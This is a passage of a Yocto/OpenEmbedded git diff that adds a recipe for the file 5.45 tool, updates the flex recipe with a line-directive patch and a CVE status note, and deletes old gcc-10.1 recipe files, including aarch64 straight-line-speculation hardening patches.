diff --git a/meta/recipes-devtools/file/file_5.45.bb b/meta/recipes-devtools/file/file_5.45.bb
new file mode 100644
index 0000000000..fa8dc576dc
--- /dev/null
+++ b/meta/recipes-devtools/file/file_5.45.bb
@@ -0,0 +1,61 @@
+SUMMARY = "File classification tool"
+DESCRIPTION = "File attempts to classify files depending \
+on their contents and prints a description if a match is found."
+HOMEPAGE = "http://www.darwinsys.com/file/"
+SECTION = "console/utils"
+
+# two clause BSD
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;beginline=2;md5=0251eaec1188b20d9a72c502ecfdda1b"
+
+DEPENDS = "file-replacement-native"
+DEPENDS:class-native = "bzip2-replacement-native"
+
+SRC_URI = "git://github.com/file/file.git;branch=master;protocol=https \
+ file://print_c.patch \
+ "
+
+SRCREV = "4cbd5c8f0851201d203755b76cb66ba991ffd8be"
+S = "${WORKDIR}/git"
+
+inherit autotools update-alternatives
+
+PACKAGECONFIG ??= "bz2 lzma zlib zstdlib lzlib"
+PACKAGECONFIG[bz2] = "--enable-bzlib, --disable-bzlib, bzip2"
+PACKAGECONFIG[lzma] = "--enable-xzlib, --disable-xzlib, xz"
+PACKAGECONFIG[zlib] = "--enable-zlib, --disable-zlib, zlib"
+PACKAGECONFIG[zstdlib] = "--enable-zstdlib, --disable-zstdlib, zstd"
+PACKAGECONFIG[lzlib] = "--enable-lzlib, --disable-lzlib, lzlib"
+PACKAGECONFIG[seccomp] = "--enable-libseccomp, --disable-libseccomp, libseccomp"
+
+ALTERNATIVE:${PN} = "file"
+ALTERNATIVE_LINK_NAME[file] = "${bindir}/file"
+
+EXTRA_OEMAKE:append:class-target = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+EXTRA_OEMAKE:append:class-nativesdk = " -e FILE_COMPILE=${STAGING_BINDIR_NATIVE}/file-native/file"
+
+FILES:${PN} += "${datadir}/misc/*.mgc"
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/file.sh"
+
+do_compile:append:class-native() {
+ oe_runmake check
+}
+
+do_install:append:class-native() {
+ create_cmdline_wrapper ${D}/${bindir}/file \
+ --magic-file ${datadir}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/file MAGIC=${datadir}/misc/magic.mgc
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ cat <<- EOF > ${D}${SDKPATHNATIVE}/environment-setup.d/file.sh
+ export MAGIC="${datadir}/misc/magic.mgc"
+ EOF
+}
+
+BBCLASSEXTEND = "native nativesdk"
+PROVIDES:append:class-native = " file-replacement-native"
+# Don't use NATIVE_PACKAGE_PATH_SUFFIX as that hides libmagic from anyone who
+# depends on file-replacement-native.
+bindir:append:class-native = "/file-native"
diff --git a/meta/recipes-devtools/file/files/print_c.patch b/meta/recipes-devtools/file/files/print_c.patch
new file mode 100644
index 0000000000..760813f9c2
--- /dev/null
+++ b/meta/recipes-devtools/file/files/print_c.patch
@@ -0,0 +1,27 @@
+From e329257b8e22362b62e6c930447ef6feadd63f32 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Mon, 7 Aug 2023 22:37:19 +0000
+Subject: [PATCH] print.c: initialize timezone data for localtime_r()
+
+The man page for localtime() points out that while it acts
+like tzset() has been called, localtime_r() might not. We
+have a local version of localtime_r() that avoids this, but
+we do not compile it.
+
+Upstream-Status: Submitted [file@astron.com]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ src/print.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+--- git.orig/src/print.c
++++ git/src/print.c
+@@ -289,6 +289,7 @@ file_fmtdatetime(char *buf, size_t bsize
+ goto out;
+
+ if (flags & FILE_T_LOCAL) {
++ tzset();
+ tm = localtime_r(&t, &tmz);
+ } else {
+ tm = gmtime_r(&t, &tmz);
diff --git a/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
new file mode 100644
index 0000000000..c8202b6bd5
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex/0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch
@@ -0,0 +1,32 @@
+From 440f3f55739468cd26e22f31871eca8cbbd53294 Mon Sep 17 00:00:00 2001
+From: Oleksiy Obitotskyy <oobitots@cisco.com>
+Date: Wed, 6 Jan 2021 06:12:14 -0800
+Subject: [PATCH] Emit no #line directives if gen_line_dirs is false
+
+If we set --noline we should not print line directives.
+But setting --noline means gen_line_dirs is false.
+
+Upstream-Status: Submitted
+Signed-off-by: Oleksiy Obitotskyy <oobitots@cisco.com>
+---
+ src/buf.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/buf.c b/src/buf.c
+index 185083c..4439e28 100644
+--- a/src/buf.c
++++ b/src/buf.c
+@@ -95,8 +95,8 @@ struct Buf *buf_linedir (struct Buf *buf, const char* filename, int lineno)
+ const char *src;
+ size_t tsz;
+
+- if (gen_line_dirs)
+- return buf;
++ if (!gen_line_dirs)
++ return buf;
+
+ tsz = strlen("#line \"\"\n") + /* constant parts */
+ 2 * strlen (filename) + /* filename with possibly all backslashes escaped */
+--
+2.26.2.Cisco
+
diff --git a/meta/recipes-devtools/flex/flex_2.6.4.bb b/meta/recipes-devtools/flex/flex_2.6.4.bb
index 3d57572865..f7d4ef1f08 100644
--- a/meta/recipes-devtools/flex/flex_2.6.4.bb
+++ b/meta/recipes-devtools/flex/flex_2.6.4.bb
@@ -3,55 +3,62 @@ DESCRIPTION = "Flex is a fast lexical analyser generator. Flex is a tool for ge
lexical patterns in text."
HOMEPAGE = "http://sourceforge.net/projects/flex/"
SECTION = "devel"
-LICENSE = "BSD-2-Clause"
+LICENSE = "BSD-3-Clause & LGPL-2.0-or-later"
+LICENSE:${PN}-libfl = "BSD-3-Clause"
DEPENDS = "${@bb.utils.contains('PTEST_ENABLED', '1', 'bison-native flex-native', '', d)}"
BBCLASSEXTEND = "native nativesdk"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067 \
+ file://src/gettext.h;beginline=1;endline=17;md5=9c05dda2f58d89b850c399cf22e1a00c"
-SRC_URI = "https://github.com/westes/flex/releases/download/v${PV}/flex-${PV}.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/flex-${PV}.tar.gz \
file://run-ptest \
file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
${@bb.utils.contains('PTEST_ENABLED', '1', '', 'file://disable-tests.patch', d)} \
file://0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch \
file://check-funcs.patch \
+ file://0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch \
"
SRC_URI[md5sum] = "2882e3179748cc9f9c23ec593d6adc8d"
SRC_URI[sha256sum] = "e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995"
-# Flex has moved to github from 2.6.1 onwards
-UPSTREAM_CHECK_URI = "https://github.com/westes/flex/releases"
-UPSTREAM_CHECK_REGEX = "flex-(?P<pver>\d+(\.\d+)+)\.tar"
+GITHUB_BASE_URI = "https://github.com/westes/flex/releases"
-inherit autotools gettext texinfo ptest
+# https://github.com/westes/flex/issues/414
+CVE_STATUS[CVE-2019-6293] = "upstream-wontfix: \
+there is stack exhaustion but no bug and it is building the \
+parser, not running it, effectively similar to a compiler ICE. Upstream no plans to address this."
+
+inherit autotools gettext texinfo ptest github-releases
M4 = "${bindir}/m4"
-M4_class-native = "${STAGING_BINDIR_NATIVE}/m4"
+M4:class-native = "${STAGING_BINDIR_NATIVE}/m4"
EXTRA_OECONF += "ac_cv_path_M4=${M4} ac_cv_func_reallocarray=no"
EXTRA_OEMAKE += "m4=${STAGING_BINDIR_NATIVE}/m4"
EXTRA_OEMAKE += "${@bb.utils.contains('PTEST_ENABLED', '1', 'FLEX=${STAGING_BINDIR_NATIVE}/flex', '', d)}"
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/flex M4=${M4}
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
create_wrapper ${D}/${bindir}/flex M4=${M4}
}
PACKAGES =+ "${PN}-libfl"
-FILES_${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
+FILES:${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
-RDEPENDS_${PN} += "m4"
-RDEPENDS_${PN}-ptest += "bash gawk make"
+RDEPENDS:${PN} += "m4"
+RDEPENDS:${PN}-ptest += "bash gawk make"
do_compile_ptest() {
oe_runmake -C ${B}/tests -f ${B}/tests/Makefile top_builddir=${B} INCLUDES=-I${S}/src buildtests
}
+PTEST_PARALLEL_MAKE = ""
do_install_ptest() {
mkdir -p ${D}${PTEST_PATH}/build-aux/
@@ -61,6 +68,7 @@ do_install_ptest() {
sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
-e 's|${DEBUG_PREFIX_MAP}||g' \
-e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:\(^LDFLAGS_FOR_BUILD =\).*:\1:g' \
-e 's:${RECIPE_SYSROOT_NATIVE}::g' \
-e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \-e 's/^Makefile:/_Makefile:/' \
-e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
diff --git a/meta/recipes-devtools/gcc/gcc-10.1.inc b/meta/recipes-devtools/gcc/gcc-10.1.inc
deleted file mode 100644
index 5f310301b0..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1.inc
+++ /dev/null
@@ -1,121 +0,0 @@
-require gcc-common.inc
-
-# Third digit in PV should be incremented after a minor release
-
-PV = "10.1.0"
-
-# BINV should be incremented to a revision after a minor gcc release
-
-BINV = "10.1.0"
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc-10.1:${FILE_DIRNAME}/gcc-10.1/backport:"
-
-DEPENDS =+ "mpfr gmp libmpc zlib flex-native"
-NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native"
-
-LICENSE = "GPL-3.0-with-GCC-exception & GPLv3"
-
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
-"
-
-BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz"
-#RELEASE ?= "93a49d2d2292893b9b7f38132df949c70942838c"
-#BASEURI ?= "https://github.com/gcc-mirror/gcc/archive/${RELEASE}.zip;downloadfilename=gcc-${PV}-${RELEASE}.zip"
-SRC_URI = "\
- ${BASEURI} \
- file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
- file://0002-gcc-poison-system-directories.patch \
- file://0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch \
- file://0004-64-bit-multilib-hack.patch \
- file://0005-optional-libstdc.patch \
- file://0006-COLLECT_GCC_OPTIONS.patch \
- file://0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
- file://0008-fortran-cross-compile-hack.patch \
- file://0009-cpp-honor-sysroot.patch \
- file://0010-MIPS64-Default-to-N64-ABI.patch \
- file://0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
- file://0012-gcc-Fix-argument-list-too-long-error.patch \
- file://0013-Disable-sdt.patch \
- file://0014-libtool.patch \
- file://0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
- file://0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
- file://0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
- file://0018-export-CPP.patch \
- file://0019-Ensure-target-gcc-headers-can-be-included.patch \
- file://0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
- file://0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch \
- file://0022-aarch64-Add-support-for-musl-ldso.patch \
- file://0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
- file://0024-handle-sysroot-support-for-nativesdk-gcc.patch \
- file://0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
- file://0026-Fix-various-_FOR_BUILD-and-related-variables.patch \
- file://0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch \
- file://0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
- file://0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch \
- file://0030-sync-gcc-stddef.h-with-musl.patch \
- file://0031-fix-segmentation-fault-in-precompiled-header-generat.patch \
- file://0032-Fix-for-testsuite-failure.patch \
- file://0033-Re-introduce-spe-commandline-options.patch \
- file://0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
- file://0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch \
- file://0036-Enable-CET-in-cross-compiler-if-possible.patch \
- file://0037-mingw32-Enable-operation_not_supported.patch \
- file://0038-libatomic-Do-not-enforce-march-on-aarch64.patch \
- file://0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch \
- file://0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch \
- file://0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch \
- file://pr96130.patch \
-"
-SRC_URI[sha256sum] = "b6898a23844b656f1b68691c5c012036c2e694ac4b53a8918d4712ad876e7ea2"
-
-S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-# For dev release snapshotting
-#S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${RELEASE}"
-#B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
-
-# Language Overrides
-FORTRAN = ""
-JAVA = ""
-
-LTO = "--enable-lto"
-SSP ?= "--disable-libssp"
-SSP_mingw32 = "--enable-libssp"
-
-EXTRA_OECONF_BASE = "\
- ${LTO} \
- ${SSP} \
- --enable-libitm \
- --disable-bootstrap \
- --with-system-zlib \
- ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
- --enable-linker-build-id \
- --with-ppl=no \
- --with-cloog=no \
- --enable-checking=release \
- --enable-cheaders=c_global \
- --without-isl \
-"
-
-EXTRA_OECONF_INITIAL = "\
- --disable-libgomp \
- --disable-libitm \
- --disable-libquadmath \
- --with-system-zlib \
- --disable-lto \
- --disable-plugin \
- --enable-linker-build-id \
- --enable-decimal-float=no \
- --without-isl \
- --disable-libssp \
-"
-
-EXTRA_OECONF_PATHS = "\
- --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
- --with-sysroot=/not/exist \
- --with-build-sysroot=${STAGING_DIR_TARGET} \
-"
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch b/meta/recipes-devtools/gcc/gcc-10.1/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch
deleted file mode 100644
index 73de4c7590..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch
+++ /dev/null
@@ -1,202 +0,0 @@
-CVE: CVE-2020-13844
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From 1ff243934ac443b5f58cd02a5012ce58ecc31fb2 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:58 +0100
-Subject: [PATCH 1/3] aarch64: New Straight Line Speculation (SLS) mitigation
- flags
-
-Here we introduce the flags that will be used for straight line speculation.
-
-The new flag introduced is `-mharden-sls=`.
-This flag can take arguments of `none`, `all`, or a comma seperated list of one
-or more of `retbr` or `blr`.
-`none` indicates no special mitigation of the straight line speculation
-vulnerability.
-`all` requests all mitigations currently implemented.
-`retbr` requests that the RET and BR instructions have a speculation barrier
-inserted after them.
-`blr` requests that BLR instructions are replaced by a BL to a function stub
-using a BR with a speculation barrier after it.
-
-Setting this on a per-function basis using attributes or the like is not
-enabled, but may be in the future.
-
-gcc/ChangeLog:
-
-2020-06-02 Matthew Malcomson <matthew.malcomson@arm.com>
-
- * config/aarch64/aarch64-protos.h (aarch64_harden_sls_retbr_p):
- New.
- (aarch64_harden_sls_blr_p): New.
- * config/aarch64/aarch64.c (enum aarch64_sls_hardening_type):
- New.
- (aarch64_harden_sls_retbr_p): New.
- (aarch64_harden_sls_blr_p): New.
- (aarch64_validate_sls_mitigation): New.
- (aarch64_override_options): Parse options for SLS mitigation.
- * config/aarch64/aarch64.opt (-mharden-sls): New option.
- * doc/invoke.texi: Document new option.
----
- gcc/config/aarch64/aarch64-protos.h | 3 ++
- gcc/config/aarch64/aarch64.c | 76 +++++++++++++++++++++++++++++++++++++
- gcc/config/aarch64/aarch64.opt | 4 ++
- gcc/doc/invoke.texi | 12 ++++++
- 4 files changed, 95 insertions(+)
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index 723d9ba..eb5f4b4 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -781,4 +781,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
-
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
-+extern bool aarch64_harden_sls_retbr_p (void);
-+extern bool aarch64_harden_sls_blr_p (void);
-+
- #endif /* GCC_AARCH64_PROTOS_H */
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index b86434a..437a9cf 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -14494,6 +14494,79 @@ aarch64_validate_mcpu (const char *str, const struct processor **res,
- return false;
- }
-
-+/* Straight line speculation indicators. */
-+enum aarch64_sls_hardening_type
-+{
-+ SLS_NONE = 0,
-+ SLS_RETBR = 1,
-+ SLS_BLR = 2,
-+ SLS_ALL = 3,
-+};
-+static enum aarch64_sls_hardening_type aarch64_sls_hardening;
-+
-+/* Return whether we should mitigatate Straight Line Speculation for the RET
-+ and BR instructions. */
-+bool
-+aarch64_harden_sls_retbr_p (void)
-+{
-+ return aarch64_sls_hardening & SLS_RETBR;
-+}
-+
-+/* Return whether we should mitigatate Straight Line Speculation for the BLR
-+ instruction. */
-+bool
-+aarch64_harden_sls_blr_p (void)
-+{
-+ return aarch64_sls_hardening & SLS_BLR;
-+}
-+
-+/* As of yet we only allow setting these options globally, in the future we may
-+ allow setting them per function. */
-+static void
-+aarch64_validate_sls_mitigation (const char *const_str)
-+{
-+ char *token_save = NULL;
-+ char *str = NULL;
-+
-+ if (strcmp (const_str, "none") == 0)
-+ {
-+ aarch64_sls_hardening = SLS_NONE;
-+ return;
-+ }
-+ if (strcmp (const_str, "all") == 0)
-+ {
-+ aarch64_sls_hardening = SLS_ALL;
-+ return;
-+ }
-+
-+ char *str_root = xstrdup (const_str);
-+ str = strtok_r (str_root, ",", &token_save);
-+ if (!str)
-+ error ("invalid argument given to %<-mharden-sls=%>");
-+
-+ int temp = SLS_NONE;
-+ while (str)
-+ {
-+ if (strcmp (str, "blr") == 0)
-+ temp |= SLS_BLR;
-+ else if (strcmp (str, "retbr") == 0)
-+ temp |= SLS_RETBR;
-+ else if (strcmp (str, "none") == 0 || strcmp (str, "all") == 0)
-+ {
-+ error ("%<%s%> must be by itself for %<-mharden-sls=%>", str);
-+ break;
-+ }
-+ else
-+ {
-+ error ("invalid argument %<%s%> for %<-mharden-sls=%>", str);
-+ break;
-+ }
-+ str = strtok_r (NULL, ",", &token_save);
-+ }
-+ aarch64_sls_hardening = (aarch64_sls_hardening_type) temp;
-+ free (str_root);
-+}
-+
- /* Parses CONST_STR for branch protection features specified in
- aarch64_branch_protect_types, and set any global variables required. Returns
- the parsing result and assigns LAST_STR to the last processed token from
-@@ -14738,6 +14811,9 @@ aarch64_override_options (void)
- selected_arch = NULL;
- selected_tune = NULL;
-
-+ if (aarch64_harden_sls_string)
-+ aarch64_validate_sls_mitigation (aarch64_harden_sls_string);
-+
- if (aarch64_branch_protection_string)
- aarch64_validate_mbranch_protection (aarch64_branch_protection_string);
-
-diff --git a/gcc/config/aarch64/aarch64.opt b/gcc/config/aarch64/aarch64.opt
-index d99d14c..5170361 100644
---- a/gcc/config/aarch64/aarch64.opt
-+++ b/gcc/config/aarch64/aarch64.opt
-@@ -71,6 +71,10 @@ mgeneral-regs-only
- Target Report RejectNegative Mask(GENERAL_REGS_ONLY) Save
- Generate code which uses only the general registers.
-
-+mharden-sls=
-+Target RejectNegative Joined Var(aarch64_harden_sls_string)
-+Generate code to mitigate against straight line speculation.
-+
- mfix-cortex-a53-835769
- Target Report Var(aarch64_fix_a53_err835769) Init(2) Save
- Workaround for ARM Cortex-A53 Erratum number 835769.
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index a2794a6..bd5b77a 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -696,6 +696,7 @@ Objective-C and Objective-C++ Dialects}.
- -msign-return-address=@var{scope} @gol
- -mbranch-protection=@var{none}|@var{standard}|@var{pac-ret}[+@var{leaf}
- +@var{b-key}]|@var{bti} @gol
-+-mharden-sls=@var{opts} @gol
- -march=@var{name} -mcpu=@var{name} -mtune=@var{name} @gol
- -moverride=@var{string} -mverbose-cost-dump @gol
- -mstack-protector-guard=@var{guard} -mstack-protector-guard-reg=@var{sysreg} @gol
-@@ -17065,6 +17066,17 @@ functions. The optional argument @samp{b-key} can be used to sign the functions
- with the B-key instead of the A-key.
- @samp{bti} turns on branch target identification mechanism.
-
-+@item -mharden-sls=@var{opts}
-+@opindex mharden-sls
-+Enable compiler hardening against straight line speculation (SLS).
-+@var{opts} is a comma-separated list of the following options:
-+@table @samp
-+@item retbr
-+@item blr
-+@end table
-+In addition, @samp{-mharden-sls=all} enables all SLS hardening while
-+@samp{-mharden-sls=none} disables all SLS hardening.
-+
- @item -msve-vector-bits=@var{bits}
- @opindex msve-vector-bits
- Specify the number of bits in an SVE vector register. This option only has
---
-2.7.4
-
diff --git a/meta/recipes-devtools/gcc/gcc-10.1/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch b/meta/recipes-devtools/gcc/gcc-10.1/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch
deleted file mode 100644
index 823cc8b668..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.1/0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch
+++ /dev/null
@@ -1,607 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From b1204d16e1ec96a4aa89e44de8990e2499ffdb22 Mon Sep 17 00:00:00 2001
-From: Matthew Malcomson <matthew.malcomson@arm.com>
-Date: Thu, 9 Jul 2020 09:11:59 +0100
-Subject: [PATCH 2/3] aarch64: Introduce SLS mitigation for RET and BR
- instructions
-
-Instructions following RET or BR are not necessarily executed. In order
-to avoid speculation past RET and BR we can simply append a speculation
-barrier.
-
-Since these speculation barriers will not be architecturally executed,
-they are not expected to add a high performance penalty.
-
-The speculation barrier is to be SB when targeting architectures which
-have this enabled, and DSB SY + ISB otherwise.
-
-We add tests for each of the cases where such an instruction was seen.
-
-This is implemented by modifying each machine description pattern that
-emits either a RET or a BR instruction. We choose not to use something
-like `TARGET_ASM_FUNCTION_EPILOGUE` since it does not affect the
-`indirect_jump`, `jump`, `sibcall_insn` and `sibcall_value_insn`
-patterns and we find it preferable to implement the functionality in the
-same way for every pattern.
-
-There is one particular case which is slightly tricky. The
-implementation of TARGET_ASM_TRAMPOLINE_TEMPLATE uses a BR which needs
-to be mitigated against. The trampoline template is used *once* per
-compilation unit, and the TRAMPOLINE_SIZE is exposed to the user via the
-builtin macro __LIBGCC_TRAMPOLINE_SIZE__.
-In the future we may implement function specific attributes to turn on
-and off hardening on a per-function basis.
-The fixed nature of the trampoline described above implies it will be
-safer to ensure this speculation barrier is always used.
-
-Testing:
- Bootstrap and regtest done on aarch64-none-linux
- Used a temporary hack(1) to use these options on every test in the
- testsuite and a script to check that the output never emitted an
- unmitigated RET or BR.
-
-1) Temporary hack was a change to the testsuite to always use
-`-save-temps` and run a script on the assembly output of those
-compilations which produced one to ensure every RET or BR is immediately
-followed by a speculation barrier.
-
-gcc/ChangeLog:
-
- * config/aarch64/aarch64-protos.h (aarch64_sls_barrier): New.
- * config/aarch64/aarch64.c (aarch64_output_casesi): Emit
- speculation barrier after BR instruction if needs be.
- (aarch64_trampoline_init): Handle ptr_mode value & adjust size
- of code copied.
- (aarch64_sls_barrier): New.
- (aarch64_asm_trampoline_template): Add needed barriers.
- * config/aarch64/aarch64.h (AARCH64_ISA_SB): New.
- (TARGET_SB): New.
- (TRAMPOLINE_SIZE): Account for barrier.
- * config/aarch64/aarch64.md (indirect_jump, *casesi_dispatch,
- simple_return, *do_return, *sibcall_insn, *sibcall_value_insn):
- Emit barrier if needs be, also account for possible barrier using
- "sls_length" attribute.
- (sls_length): New attribute.
- (length): Determine default using any non-default sls_length
- value.
-
-gcc/testsuite/ChangeLog:
-
- * gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c: New test.
- * gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c:
- New test.
- * gcc.target/aarch64/sls-mitigation/sls-mitigation.exp: New file.
- * lib/target-supports.exp (check_effective_target_aarch64_asm_sb_ok):
- New proc.
----
- gcc/config/aarch64/aarch64-protos.h | 1 +
- gcc/config/aarch64/aarch64.c | 41 ++++++-
- gcc/config/aarch64/aarch64.h | 10 +-
- gcc/config/aarch64/aarch64.md | 76 +++++++++----
- .../aarch64/sls-mitigation/sls-miti-retbr-pacret.c | 21 ++++
- .../aarch64/sls-mitigation/sls-miti-retbr.c | 119 +++++++++++++++++++++
- .../aarch64/sls-mitigation/sls-mitigation.exp | 73 +++++++++++++
- gcc/testsuite/lib/target-supports.exp | 2 +-
- 8 files changed, 318 insertions(+), 25 deletions(-)
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr-pacret.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-miti-retbr.c
- create mode 100644 gcc/testsuite/gcc.target/aarch64/sls-mitigation/sls-mitigation.exp
-
-diff --git a/gcc/config/aarch64/aarch64-protos.h b/gcc/config/aarch64/aarch64-protos.h
-index eb5f4b4..ee0ffde 100644
---- a/gcc/config/aarch64/aarch64-protos.h
-+++ b/gcc/config/aarch64/aarch64-protos.h
-@@ -781,6 +781,7 @@ extern const atomic_ool_names aarch64_ool_ldeor_names;
-
- tree aarch64_resolve_overloaded_builtin_general (location_t, tree, void *);
-
-+const char *aarch64_sls_barrier (int);
- extern bool aarch64_harden_sls_retbr_p (void);
- extern bool aarch64_harden_sls_blr_p (void);
-
-diff --git a/gcc/config/aarch64/aarch64.c b/gcc/config/aarch64/aarch64.c
-index 437a9cf..44e3d1f 100644
---- a/gcc/config/aarch64/aarch64.c
-+++ b/gcc/config/aarch64/aarch64.c
-@@ -10852,8 +10852,8 @@ aarch64_return_addr (int count, rtx frame ATTRIBUTE_UNUSED)
- static void
- aarch64_asm_trampoline_template (FILE *f)
- {
-- int offset1 = 16;
-- int offset2 = 20;
-+ int offset1 = 24;
-+ int offset2 = 28;
-
- if (aarch64_bti_enabled ())
- {
-@@ -10876,6 +10876,17 @@ aarch64_asm_trampoline_template (FILE *f)
- }
- asm_fprintf (f, "\tbr\t%s\n", reg_names [IP1_REGNUM]);
-
-+ /* We always emit a speculation barrier.
-+ This is because the same trampoline template is used for every nested
-+ function. Since nested functions are not particularly common or
-+ performant we don't worry too much about the extra instructions to copy
-+ around.
-+ This is not yet a problem, since we have not yet implemented function
-+ specific attributes to choose between hardening against straight line
-+ speculation or not, but such function specific attributes are likely to
-+ happen in the future. */
-+ asm_fprintf (f, "\tdsb\tsy\n\tisb\n");
-+
- /* The trampoline needs an extra padding instruction. In case if BTI is
- enabled the padding instruction is replaced by the BTI instruction at
- the beginning. */
-@@ -10890,10 +10901,14 @@ static void
- aarch64_trampoline_init (rtx m_tramp, tree fndecl, rtx chain_value)
- {
- rtx fnaddr, mem, a_tramp;
-- const int tramp_code_sz = 16;
-+ const int tramp_code_sz = 24;
-
- /* Don't need to copy the trailing D-words, we fill those in below. */
-- emit_block_move (m_tramp, assemble_trampoline_template (),
-+ /* We create our own memory address in Pmode so that `emit_block_move` can
-+ use parts of the backend which expect Pmode addresses. */
-+ rtx temp = convert_memory_address (Pmode, XEXP (m_tramp, 0));
-+ emit_block_move (gen_rtx_MEM (BLKmode, temp),
-+ assemble_trampoline_template (),
- GEN_INT (tramp_code_sz), BLOCK_OP_NORMAL);
- mem = adjust_address (m_tramp, ptr_mode, tramp_code_sz);
- fnaddr = XEXP (DECL_RTL (fndecl), 0);
-@@ -11084,6 +11099,8 @@ aarch64_output_casesi (rtx *operands)
- output_asm_insn (buf, operands);
